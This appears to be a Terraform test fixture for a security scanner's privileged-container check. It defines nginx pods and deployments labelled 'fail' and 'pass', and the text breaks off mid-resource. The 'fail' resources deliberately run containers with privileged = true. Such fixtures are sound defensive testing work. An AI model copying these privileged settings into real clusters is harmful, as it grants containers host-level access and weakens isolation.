    "content": "\nresource \"kubernetes_pod\" \"fail_container\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container = [\n      {\n        image = \"nginx:1.7.9\"\n        name  = \"example22\"\n\n        security_context = {\n          privileged = true\n        }\n\n        env = {\n          name  = \"environment\"\n          value = \"test\"\n        }\n\n        port = {\n          container_port = 8080\n        }\n\n        liveness_probe = {\n          http_get = {\n            path = \"/nginx_status\"\n            port = 80\n\n            http_header = {\n              name  = \"X-Custom-Header\"\n              value = \"Awesome\"\n            }\n          }\n\n          initial_delay_seconds = 3\n          period_seconds        = 3\n        }\n      }\n      ,\n      {\n        image = \"nginx:1.7.9\"\n        name  = \"example22222\"\n\n        security_context = {\n          privileged = true\n        }\n\n        env = {\n          name  = \"environment\"\n          value = \"test\"\n        }\n\n        port = {\n          container_port = 8080\n        }\n\n        liveness_probe = {\n          http_get = {\n            path = \"/nginx_status\"\n            port = 80\n\n            http_header = {\n              name  = \"X-Custom-Header\"\n              value = \"Awesome\"\n            }\n          }\n\n          initial_delay_seconds = 3\n          period_seconds        = 3\n        }\n      }\n    ]\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"fail_container\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container = [\n          {\n            image = \"nginx:1.7.9\"\n            name  = \"example22\"\n\n            security_context = {\n              privileged = true\n            }\n\n            env = {\n              name  = \"environment\"\n              value = \"test\"\n            }\n\n            port = {\n              container_port = 8080\n            }\n\n            liveness_probe = {\n              http_get = {\n                path = \"/nginx_status\"\n                port = 80\n\n                http_header = {\n                  name  = \"X-Custom-Header\"\n                  value = \"Awesome\"\n                }\n              }\n\n              initial_delay_seconds = 3\n              period_seconds        = 3\n            }\n          },\n          {\n            image = \"nginx:1.7.9\"\n            name  = \"example22222\"\n\n            security_context = {\n              privileged = true\n            }\n\n            env = {\n              name  = \"environment\"\n              value = \"test\"\n            }\n\n            port = {\n              container_port = 8080\n            }\n\n            liveness_probe = {\n              http_get = {\n                path = \"/nginx_status\"\n                port = 80\n\n                http_header = {\n                  name  = \"X-Custom-Header\"\n                  value = \"Awesome\"\n                }\n              }\n\n              initial_delay_seconds = 3\n              period_seconds        = 3\n            }\n          }\n        ]\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"fail_container\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container = [\n          {\n            image = \"nginx:1.7.9\"\n            name  = \"example22\"\n\n            security_context = {\n              privileged = true\n            }\n\n            env = {\n              name  = \"environment\"\n              value = \"test\"\n            }\n\n            port = {\n              container_port = 8080\n            }\n\n            liveness_probe = {\n              http_get = {\n                path = \"/nginx_status\"\n                port = 80\n\n                http_header = {\n                  name  = \"X-Custom-Header\"\n                  value = \"Awesome\"\n                }\n              }\n\n              initial_delay_seconds = 3\n              period_seconds        = 3\n            }\n          },\n          {\n            image = \"nginx:1.7.9\"\n            name  = \"example22222\"\n\n            security_context = {\n              privileged = true\n            }\n\n            env = {\n              name  = \"environment\"\n              value = \"test\"\n            }\n\n            port = {\n              container_port = 8080\n            }\n\n            liveness_probe = {\n              http_get = {\n                path = \"/nginx_status\"\n                port = 80\n\n                http_header = {\n                  name  = \"X-Custom-Header\"\n                  value = \"Awesome\"\n                }\n              }\n\n              initial_delay_seconds = 3\n              period_seconds        = 3\n            }\n          }\n        ]\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n\nresource \"kubernetes_pod_v1\" \"fail_container\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container = [\n      {\n        image = \"nginx:1.7.9\"\n        name  = \"example22\"\n\n        security_context = {\n          privileged = true\n        }\n\n        env = {\n          name  = \"environment\"\n          value = \"test\"\n        }\n\n        port = {\n          container_port = 8080\n        }\n\n        liveness_probe = {\n          http_get = {\n            path = \"/nginx_status\"\n            port = 80\n\n            http_header = {\n              name  = \"X-Custom-Header\"\n              value = \"Awesome\"\n            }\n          }\n\n          initial_delay_seconds = 3\n          period_seconds        = 3\n        }\n      }\n    ,\n      {\n        image = \"nginx:1.7.9\"\n        name  = \"example22222\"\n\n        security_context = {\n          privileged = true\n        }\n\n        env = {\n          name  = \"environment\"\n          value = \"test\"\n        }\n\n        port = {\n          container_port = 8080\n        }\n\n        liveness_probe = {\n          http_get = {\n            path = \"/nginx_status\"\n            port = 80\n\n            http_header = {\n              name  = \"X-Custom-Header\"\n              value = \"Awesome\"\n            }\n          }\n\n          initial_delay_seconds = 3\n          period_seconds        = 3\n        }\n      }\n    ]\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = true\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      security_context {\n        privileged = true\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          security_context {\n            privileged = true\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          security_context {\n            privileged = true\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          security_context {\n            privileged = true\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          security_context {\n            privileged = true\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n\nresource \"kubernetes_pod_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = true\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      security_context {\n        privileged = true\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = false\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      security_context {\n        privileged = true\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = false\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      security_context {\n        privileged = true\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          security_context {\n            privileged = false\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          security_context {\n            privileged = true\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          security_context {\n            privileged = false\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          security_context {\n            privileged = true\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n\nresource \"kubernetes_pod\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = false\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      security_context {\n        privileged = false\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          security_context {\n            privileged = false\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          security_context {\n            privileged = false\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          security_context {\n            privileged = false\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          security_context {\n            privileged = false\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n\nresource \"kubernetes_pod_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = false\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      security_context {\n        privileged = false\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      security_context {\n        privileged = false\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      security_context {\n        privileged = false\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          security_context {\n            privileged = false\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          security_context {\n            privileged = false\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = 